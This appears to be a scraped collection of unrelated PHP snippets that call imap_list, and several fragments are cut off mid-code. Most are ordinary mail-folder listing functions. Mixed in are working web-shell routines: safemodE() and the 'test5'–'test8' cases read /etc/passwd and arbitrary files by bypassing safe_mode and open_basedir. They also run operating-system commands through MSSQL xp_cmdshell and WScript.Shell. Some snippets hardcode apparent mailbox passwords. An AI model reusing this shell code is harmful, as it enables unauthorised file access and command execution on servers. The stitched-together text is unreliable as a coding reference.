public function free($util) { $stream = imap_open("{imap.club-internet.fr:993/imap/SSL}", $util, "wrasuxwr"); var_dump($stream); $check = imap_check($stream); $list = imap_list($stream, "{imap.club-internet.fr}", "*"); imap_createmailbox($stream, '{imap.club-internet.fr}brubru'); $getmailboxes = imap_getmailboxes($stream, "{imap.club-internet.fr}", "*"); $headers = imap_headers($stream); $num_msg = imap_num_msg($stream); $status = imap_status($stream, "{imap.club-internet.fr:993/imap/SSL}INBOX", SA_ALL); $messages = imap_fetch_overview($stream, "1:" . $num_msg); $structure = imap_fetchstructure($stream, 2); $body = utf8_encode(quoted_printable_decode(imap_body($stream, '2'))); // imap_delete($stream, '1'); // imap_expunge($stream); return view('Imap.Imap')->with(compact('resource'))->with(compact('check'))->with(compact('list'))->with(compact('getmailboxes'))->with(compact('headers'))->with(compact('num_msg'))->with(compact('status'))->with(compact('errors'))->with(compact('messages'))->with(compact('structure'))->with(compact('body')); }
function init() { if (isset($_SESSION[IMAP_SESSION]['cache'])) { $this->_sessionCache =& $_SESSION[IMAP_SESSION]['cache']; } else { $this->_sessionCache =& $_SESSION[IMAP_SESSION]['cache']; //формируем список ящиков $imap_manager =& IMAPManager::singleton(); $serverString = '{' . $imap_manager->server . '}'; $bIsGmail = strpos($serverString, 'gmail') !== FALSE; $aSkipUnseenMailboxes = $bIsGmail ? array('Вся почта', 'Корзина', 'Отправленные', 'Помеченные', 'Черновики') : array(); $offset = strlen($serverString); $mboxes = @imap_list($imap_manager->stream(), $serverString, '*'); if (is_array($mboxes)) { foreach ($mboxes as $box) { $box = substr($box, $offset); //remove server string $status = @imap_status($imap_manager->stream(), $serverString . $box, SA_ALL); $this->_sessionCache[$box] = array(); $this->_sessionCache[$box]['k'] = implode('|', array($status->messages, $status->uidnext, $status->uidvalidity)); $this->_sessionCache[$box]['name'] = $box == 'INBOX' ? 'Входящие' : $imap_manager->decodeMailboxName($bIsGmail ? str_replace('[Gmail]/', '', $box) : $box); $this->_sessionCache[$box]['unseen'] = $bIsGmail && in_array($this->_sessionCache[$box]['name'], $aSkipUnseenMailboxes) ? -1 : $status->unseen; $this->_sessionCache[$box]['d'] = array(); $this->_saveCache($box); } } } }
/** * @param $ref * @param string $pattern * @return IMAP\Mailbox[] */ function get_mailboxes($ref, $pattern = '*') { $ret = array(); foreach (imap_list($this->con, $ref, $pattern) as $mb) { $ret[] = $this->get_mailbox($mb); } return $ret; }
/** * liefert eine Liste der verfügbaren Folder * @param string $pattern * @return array */ public function imapList($pattern = '*') { if ($this->imap === null) { throw new IMAPException(__METHOD__ . ' not connected'); } $this->imapPing(true); return imap_list($this->imap, $this->server, $pattern); }
function listMailboxes() { $mailboxes = imap_list($this->stream, $this->target, "*"); foreach ($mailboxes as &$folder) { $folder = str_replace($this->target, "", imap_utf7_decode($folder)); } return $mailboxes; }
/** * Get all available mailboxes from the server * * @return array|string returns a array with all messagebox names */ public function getMailboxes() { $boxes = array(); $list = imap_list($this->con, $this->res, '*'); foreach ($list as $item) { $boxes[] = new Mailbox($this, $item); } return $boxes; }
public function getListingFolders() { $folders = imap_list($this->Stream, $this->_connectionString, "*"); foreach ($folders as $key => $folder) { $folder = str_replace($this->_connectionString, "", imap_utf7_decode($folder)); $folders[$key] = $folder; } return $folders; }
/** * Gets all mailboxes * * @return array of string * @throws DriverException */ public function getMailboxes() { $mailboxes = array(); $foo = imap_list($this->resource, $this->server, '*'); if (!$foo) { throw new DriverException("Cannot get mailboxes from server: " . imap_last_error()); } foreach ($foo as $mailbox) { $mailboxes[] = mb_convert_encoding(str_replace($this->server, '', $mailbox), 'UTF8', 'UTF7-IMAP'); } return $mailboxes; }
public function getFoldersList() { $out = []; $list = imap_list($this->imapStream, $this->getMailbox(), '*'); if (is_array($list)) { foreach ($list as $val) { $out[] = imap_utf7_decode($val); } } else { throw new \Exception('Imap list failed: ' . imap_last_error()); } return $out; }
function boxes() { global $mail, $user, $pass; // $mbox = imap_open($mail, $user, $pass); if (!$mbox) { die("boxes: mailbox open FAILED."); } // $boxes = imap_list($mbox, $mail, "*"); // imap_close($mbox); return $boxes; }
function mail_box() { $IMAP_READTIMEOUT = 1; // imap_timeout(1, $IMAP_READTIMEOUT) ; $mbox = imap_open("{pop.163.com:110/pop3/notls}", "wanghuafengc", "081013303"); $folders = imap_list($mbox, "{pop.163.com:110/pop3/}", "%"); if ($folders == false) { echo "Call failed<br />\n"; } else { foreach ($folders as $val) { echo $val . "<br />\n"; } } }
public function showEmails() { $connect_to = '{imap.gmail.com:993/imap/ssl/novalidate-cert}INBOX'; $user = '******'; $password = '******'; $inbox = imap_open($connect_to, $user, $password) or die("Can't connect to '{$connect_to}': " . imap_last_error()); $folders = imap_list($inbox, "{imap.gmail.com:993/imap/ssl}", "*"); //return dd($folders); //return $message_count = imap_num_msg($inbox); $emails = imap_search($inbox, 'SINCE ' . date('d-M-Y', strtotime("-2 week"))); $output = []; $emailCount = imap_num_msg($inbox); rsort($emails); $i = 0; foreach ($emails as $mail) { $headerInfo = imap_headerinfo($inbox, $mail); //return var_dump(dd($headerInfo)); $message = ""; $output[$i]['subject'] = isset($headerInfo->Subject) ? imap_utf8($headerInfo->Subject) : "0"; $output[$i]['from'] = imap_utf8($headerInfo->from[0]->personal); $output[$i]['toaddress'] = $headerInfo->toaddress; $output[$i]['to'] = array_shift($headerInfo->to); $output[$i]['date'] = $headerInfo->date[0]; $output[$i]['fromaddress'] = $headerInfo->fromaddress[0]; $output[$i]['reply_toaddress'] = $headerInfo->reply_toaddress[0]; $output[$i]['date'] = date('d-m-Y ' . '[' . 'H:i' . ']', strtotime($headerInfo->date) + 3600); $output[$i]['unseen'] = $headerInfo->Unseen; $output[$i]['flagged'] = $headerInfo->Flagged; $message = imap_fetchbody($inbox, $mail, 2); if (base64_decode($message, true)) { //message body if base64 encoded $message = base64_decode($message); } else { //message body is not base64 encoded $message = imap_fetchbody($inbox, $mail, 1); } $output[$i]['body'] = $message; $i++; } return dd($output); //return view('aßdministration.email.showEmails')->with('output', $output); }
function getLabels() { $this->load->database(); $this->load->model('grabber'); $inbox = $this->getConnect('INBOX'); $folders = imap_list($inbox, "{imap.gmail.com:993/imap/ssl}", "*"); $i = 0; $folde = array(); foreach ($folders as $folder) { $fold = str_replace("{imap.gmail.com:993/imap/ssl}", " ", imap_utf7_decode($folder)); if ($this->grabber->check_label_exist(htmlentities($fold)) == 0) { $folde[$i]['id'] = uniqid(); $folde[$i]['name'] = htmlentities($fold); $i++; } } if (count($folde) > 0) { $this->grabber->insert_labels($folde); } //imap_close($inbox); }
function imap_get_url($u) { if (!($c = imap_open_url($u))) { return FALSE; } extract(parse_url($u)); extract(imap_parse_path($path)); if ($mailbox) { if ($uid) { $msgno = imap_msgno($c, $uid); $o = imap_fetchstructure($c, $msgno); } else { $o = array(); $n = imap_num_msg($c); while ($i++ < $n) { $o[] = imap_fetchheader($c, $i); } } } else { $o = imap_list($c, '{}', '*'); } return $o; }
function open_mailbox($folder = "", $ops = OP_HALFOPEN, $fatal = true) { if ($this->connection && is_resource($this->connection)) { imap_close($this->connection); } $this->connect_string = '{' . $this->host . ':' . $this->port . '/' . $this->protocol . config::get_config_item("allocEmailExtra") . '}'; $this->connection = imap_open($this->connect_string, $this->username, $this->password, $ops); if (!$this->connection && $fatal) { alloc_error("Unable to access mail folder(1)."); } $list = imap_list($this->connection, $this->connect_string, "*"); if (!is_array($list) || !count($list)) { // || !in_array($connect_string.$folder,$list)) { $this->unlock(); imap_close($this->connection); if ($fatal) { alloc_error("Unable to access mail folder(2)."); } } else { $rtn = imap_reopen($this->connection, $this->connect_string . $folder); $errs = print_r(imap_errors(), 1); if (!$rtn || preg_match("/Invalid mailbox name/i", $errs) || preg_match("/Mailbox does not exist/i", $errs)) { $rtn = imap_reopen($this->connection, $this->connect_string . str_replace("/", ".", $folder)); } if (!$rtn) { imap_close($this->connection); if ($fatal) { alloc_error("Unable to access mail folder(3)."); } } } if (!$rtn && $fatal) { alloc_error("<pre>IMAP errors: " . print_r(imap_errors(), 1) . print_r(imap_alerts(), 1) . "</pre>"); } return $rtn; }
/** * Gets listing the folders * * This function returns an object containing listing the folders. * The object has the following properties: messages, recent, unseen, uidnext, and uidvalidity. * * @return array listing the folders */ public function getListingFolders() { $folders = imap_list($this->getImapStream(), $this->imapPath, "*"); foreach ($folders as $key => $folder) { $folder = str_replace($this->imapPath, "", imap_utf7_decode($folder)); $folders[$key] = $folder; } return $folders; }
function getMailboxes() { if (!($folders = imap_list($this->mbox, $this->srvstr, "*")) || !is_array($folders)) { return null; } $list = array(); foreach ($folders as $folder) { $list[] = str_replace($this->srvstr, '', imap_utf7_decode(trim($folder))); } return $list; }
function listmailbox(){ $list = imap_list($this->link, "{".$this->IMAP_host."}", "*"); if (is_array($list)) { return $list; } else { $this->error = "imap_list failed: " . imap_last_error() . "\n"; } return array(); }
/** * mailboxes_list() * get a list of the mailboxes avaible on the server */ function mailboxes_list() { if ($this->connection == 0) { return false; } $boxes = array(); $list = imap_list($this->connection, "\\{{$this->server}:{$this->port}}", "*"); if (is_array($list)) { reset($list); while (list($key, $val) = each($list)) { $boxes[] = substr(strstr(imap_utf7_decode($val), '}'), 1); } } else { if ($this->debug) { echo "Had problems collecting mailboxes list.."; echo implode("<br />\n", imap_errors()); } return false; } return $boxes; }
function safemodE() { global $windows, $t, $hcwd, $et; $file = empty($_REQUEST['file']) ? '/etc/passwd' : $_REQUEST['file']; $pr = "\r\n</font><font color=green>Method "; $po = ")</font><font color=blue>\r\n"; $i = 1; if (!empty($_REQUEST['read'])) { echo "<pre>{$pr}{$i}:(ini_restore{$po}"; ini_restore('safe_mode'); ini_restore('open_basedir'); readfile($file); $i++; echo "{$pr}{$i}:(include{$po}"; include $file; $i++; echo "{$pr}{$i}:(copy{$po}"; $tmp = tempnam('', 'cx'); copy('compress.zlib://' . $file, $tmp); $fh = fopen($tmp, 'r'); $data = fread($fh, filesize($tmp)); fclose($fh); echo $data; $i++; if (function_exists('mb_send_mail')) { echo "{$pr}{$i}:(mb_send_mail{$po}"; if (file_exists('/tmp/mb_send_mail')) { unlink('/tmp/mb_send_mail'); } mb_send_mail(NULL, NULL, NULL, NULL, '-C $file -X /tmp/mb_send_mail'); readfile('/tmp/mb_send_mail'); $i++; } if (function_exists('curl_init')) { echo "{$pr}{$i}:(curl_init [A]{$po}"; $fh = curl_init('file://' . $file . ''); $tmp = curl_exec($fh); echo $tmp; $i++; echo "{$pr}{$i}:(curl_init [B]{$po}"; $i++; if (strstr($file, DIRECTORY_SEPARATOR)) { $ch = curl_init('file:///' . $file . "/../../../../../../../../../../../../" . __FILE__); } else { $ch = curl_init('file://' . $file . "" . __FILE__); } var_dump(curl_exec($ch)); } if (is_writable('.')) { echo "{$pr}{$i}:(php.ini{$po}"; file_put_contents('php.ini', 'safe_mode = Off'); readfile($file); unlink('php.ini'); $i++; } if (is_object($ws = new COM('WScript.Shell'))) { echo "{$pr}{$i}:(COM{$po}"; echo $exec = comshelL("type \"{$file}\"", $ws); $i++; } if (checkfunctioN('win_shell_execute')) { echo "{$pr}{$i}:(win32std{$po}"; echo winshelL("type \"{$file}\""); $i++; } if (checkfunctioN('win32_create_service')) { echo "{$pr}{$i}:(win32service{$po}"; echo srvshelL("type \"{$file}\""); $i++; } if (function_exists('imap_open')) { echo "{$pr}{$i}:(imap [A]{$po}"; $str = imap_open('/etc/passwd', '', ''); $list = imap_list($str, $file, '*'); for ($i = 0; $i < count($list); $i++) { echo $list[$i] . "\n"; } imap_close($str); $i++; echo "{$pr}{$i}:(imap [B]{$po}"; $str = imap_open($file, '', ''); $tmp = imap_body($str, 1); echo $tmp; imap_close($str); $i++; } if ($file == '/etc/passwd') { echo "{$pr}{$i}:(posix{$po}"; for ($uid = 0; $uid < 99999; $uid++) { $h = posix_getpwuid($uid); if (!empty($h)) { foreach ($h as $v) { echo "{$v}:"; } } echo "\r\n"; } } echo "\n</pre></font>"; } elseif (!empty($_REQUEST['show'])) { echo "<pre>{$pr}{$i}:(glob{$po}"; $con = glob("{$file}*"); foreach ($con as $v) { echo "{$v}\n"; } $i++; if (function_exists('imap_open')) { echo "{$pr}{$i}:(imap{$po}"; $str = imap_open('/etc/passwd', '', ''); $s = explode("|", $file); if (count($s) > 1) { $list = imap_list($str, trim($s[0]), trim($s[1])); } else { $list = imap_list($str, trim($str[0]), '*'); } for ($i = 0; $i < count($list); $i++) { echo "{$list[$i]}\r\n"; } imap_close($str); $i++; } if (is_object($ws = new COM('WScript.Shell'))) { echo "{$pr}{$i}:(COM{$po}"; $exec = comshelL("dir \"{$file}\"", $ws); $exec = str_replace("\t", '', $exec); echo $exec; $i++; } if (checkfunctioN('win_shell_execute')) { echo "{$pr}{$i}:(win32std{$po}"; echo winshelL("dir \"{$file}\""); $i++; } if (checkfunctioN('win32_create_service')) { echo "{$pr}{$i}:(win32service{$po}"; echo srvshelL("dir \"{$file}\""); $i++; } echo "\n</pre></font>"; } elseif (!empty($_REQUEST['sql'])) { $ta = uniqid('N'); $s = array("CREATE TEMPORARY TABLE {$ta} (file LONGBLOB)", "LOAD DATA INFILE '" . addslashes($_REQUEST['file']) . "' INTO TABLE {$ta}", "SELECT * FROM {$ta}"); $l = mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']); mysql_select_db($_REQUEST['db'], $l); echo '<pre><font color=blue>'; foreach ($s as $v) { $q = mysql_query($v, $l); while ($d = mysql_fetch_row($q)) { echo htmlspecialchars($d[0]); } } echo '</pre></font>'; } elseif (!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])) { $res = ''; $tb = uniqid('NJ'); $db = mssql_connect($_REQUEST['serveR'], $_REQUEST['useR'], $_REQUEST['pasS']); mssql_select_db($_REQUEST['dB'], $db); mssql_query("create table {$tb} ( string VARCHAR (500) NULL)", $db); mssql_query("insert into {$tb} EXEC master.dbo.xp_cmdshell '" . $_REQUEST['coM'] . "'", $db); $re = mssql_query("select * from {$tb}", $db); while ($row = mssql_fetch_row($re)) { $res .= $row[0] . "\r\n"; } mssql_query("drop table {$tb}", $db); mssql_close($db); echo "<center><textarea rows='18' cols='64'>{$res}</textarea></center><br>"; } $f = !empty($_REQUEST['file']) ? htmlspecialchars($_REQUEST['file']) : '/etc/passwd'; $u = !empty($_REQUEST['user']) ? htmlspecialchars($_REQUEST['user']) : 'cbfteam'; $p = !empty($_REQUEST['pass']) ? htmlspecialchars($_REQUEST['pass']) : '123456'; $d = !empty($_REQUEST['db']) ? htmlspecialchars($_REQUEST['db']) : 'test'; echo "<center>{$t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='{$f}' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>{$hcwd}<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>{$et}<br>{$t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='{$f}' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='{$u}'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='{$p}'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='{$d}'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>{$hcwd}<input class=buttons type=submit name=sql value='Read'></form>{$et}<br>{$t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='"; if (!empty($_REQUEST['serveR'])) { echo htmlspecialchars($_REQUEST['serveR']); } else { echo 'localhost'; } echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='"; if (!empty($_REQUEST['useR'])) { echo htmlspecialchars($_REQUEST['useR']); } else { echo 'sa'; } echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='"; if (!empty($_REQUEST['pasS'])) { echo htmlspecialchars($_REQUEST['pasS']); } echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='"; if (!empty($_REQUEST['coM'])) { echo htmlspecialchars($_REQUEST['coM']); } else { echo 'dir c:'; } echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='"; if (isset($_REQUEST['dB'])) { echo htmlspecialchars($_REQUEST['dB']); } else { echo 'master'; } echo "'> {$hcwd}<input class=buttons type=submit value='Execute'></form>{$et}</center>"; }
} break; case 'test5': if (@file_exists('/tmp/mb_send_mail')) { @unlink('/tmp/mb_send_mail'); } $extra = "-C " . $_POST['test5_file'] . " -X /tmp/mb_send_mail"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $lines = file('/tmp/mb_send_mail'); foreach ($lines as $line) { echo htmlspecialchars($line) . "\r\n"; } break; case 'test6': $stream = @imap_open('/etc/passwd', "", ""); $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); for ($i = 0; $i < count($dir_list); $i++) { echo $dir_list[$i] . "\r\n"; } @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'], "", ""); $str = @imap_body($stream, 1); echo $str; @imap_close($stream); break; case 'test8': if (@copy("compress.zlib://" . $_POST['test8_file1'], $_POST['test8_file2'])) { echo $lang[$language . '_text118']; } else {
/** * To get all the mailboxes * * @param $stream * @param $server * @return array|Exception */ protected function _getMailboxes($stream, $server) { try { $mailboxes = @imap_list($stream, "{" . $server . "}", "*"); } catch (\Exception $e) { return $error = array('Error: ' . $e); } return $mailboxes; }
echo "<pre>" . $str . "</pre>"; } imap_close($stream); echo "</textarea>"; } elseif ($string && $switch == "dir") { echo "read dir imap", "<br>"; echo "<textarea method='POST' cols='95' rows='30' wrar='off' >"; $stream = imap_open("/etc/passwd", "", ""); if ($stream == FALSE) { die("Can't open imap stream"); } $string = explode("|", $string); if (count($string) > 1) { $dir_list = imap_list($stream, trim($string[0]), trim($string[1])); } else { $dir_list = imap_list($stream, trim($string[0]), "*"); } echo "<pre>"; for ($i = 0; $i < count($dir_list); $i++) { echo "{$dir_list[$i]}" . "<p> </p>"; } echo "</pre>"; imap_close($stream); echo "</textarea>"; } $tb->tdbody("</td></tr></table>"); // open dir // $tb->tableheader(); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: Open dir </b></td></tr></table>', 'center', 'top'); $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'); if (empty($_POST['m'])) {
/** * Move message to another mailbox * * @param integer $msgno Message number to move * @param string $mbox Mailbox to move message to * @return boolean */ function move($msgno, $mbox) { // Only imap supports moving of mesages if ($server_type == "imap") { $list = imap_list($this->conn, $this->server, "*"); if (!in_array($mbox, $list)) { if (!imap_createmailbox($this->conn, imap_utf7_encode($this->server . $mbox))) { // $_ENV['api']['sys']->log("Creation of $mbox mailbox failed!","mailer"); } } return imap_mail_move($this->conn, $msgno, $mbox); } else { return imap_delete($this->conn, $msgno); } }
public function getAllFolders($imap) { $folders = imap_list($imap, "{imap.gmail.com:993/imap/ssl}", "*"); echo "<pre>"; print_r($folders); }
/** * Returns list of Folder for the Mail Box * @return Array folder list */ public function getFolderList() { if (!empty($this->mBoxBaseUrl)) { $list = @imap_list($this->mBox, $this->mBoxBaseUrl, '*'); if (is_array($list)) { foreach ($list as $val) { $folder = $this->convertCharacterEncoding($val, 'UTF-8', 'UTF7-IMAP'); //Decode folder name $folderList[] = preg_replace("/{(.*?)}/", "", $folder); } } } return $folderList; }
public static function get_default_mailboxes() { $accounts = self::getAccountsList(false, false, true); $mailboxs = []; if ($accounts) { foreach ($accounts as $account) { $mbox = self::imapConnect($account['username'], $account['password'], $account['mail_host'], 'INBOX', false); if ($mbox) { $ref = "{" . $account['mail_host'] . "}"; $list = imap_list($mbox, $ref, "*"); foreach ($list as $mailboxname) { $name = str_replace($ref, '', $mailboxname); $mailboxs[$name] = self::convertCharacterEncoding($name, 'UTF-8', 'UTF7-IMAP'); } } } return $mailboxs; } else { return false; } }
/** * Returns list of Folder for the Mail Box * @return Array folder list */ function getFolderList() { if (!empty($this->mBoxBaseUrl)) { $list = @imap_list($this->mBox, $this->mBoxBaseUrl, '*'); if (is_array($list)) { foreach ($list as $val) { // JFV - no decode in here $folderList[] = preg_replace("/{(.*?)}/", "", $val); // $folderList[] = preg_replace("/{(.*?)}/", "", imap_utf7_decode($val)); // JFV END } } } return $folderList; }
/* Receve Mail */ <?php $user = "******"; $pass = "******"; $host = "{yb-in-f108.1e100.net:993/ssl/novalidate-cert}INBOX"; $mailboxes = imap_list($connection, $host, '*'); if ($mbox = imap_open($host, $user, $pass, NULL, 1)) { $sorted_mbox = imap_sort($mbox, SORTDATE, 0); $totalrows = imap_num_msg($mbox); $invoce = $totalrows * 6; $imap_obj = imap_check($mbox); $row10 = $totalrows - 50; if ($totalrows < 50) { $sort = "1:{$imap_obj->Nmsgs}"; } else { $sort = $totalrows . ":" . $row10; } $result = imap_fetch_overview($mbox, $sort, 0); usort($result, function ($a, $b) { return $b->udate - $a->udate; }); $email = imap_search($mbox, 'UNSEEN'); foreach ($result as $overview) { $start = "{$overview->date}"; $newdate = date("F j, Y, g:i a", strtotime($start)); $from = "{$overview->from}"; $mail_id = "{$overview->msgno}"; $subject = "{$overview->subject}"; if ($email) {
/** * Get folder names (as list) for the given mailbox connection */ function getFolders() { $folders = false; if ($this->_imap) { $imapfolders = imap_list($this->_imap, $this->_imapurl, '*'); if ($imapfolders) { foreach ($imapfolders as $imapfolder) { $folders[] = substr($imapfolder, strlen($this->_imapurl)); } } } return $folders; }